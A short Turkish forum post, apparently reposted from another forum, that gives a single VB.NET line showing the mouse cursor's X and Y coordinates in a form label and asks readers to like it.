>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>label1.Text = ("X:") & System.Windows.Forms.Cursor.Position.X & (" Y:") & System.Windows.Forms.Cursor.Position.Y
Alıntıdır tht den aldım
Beğenin Lütfen
Son düzenleme:

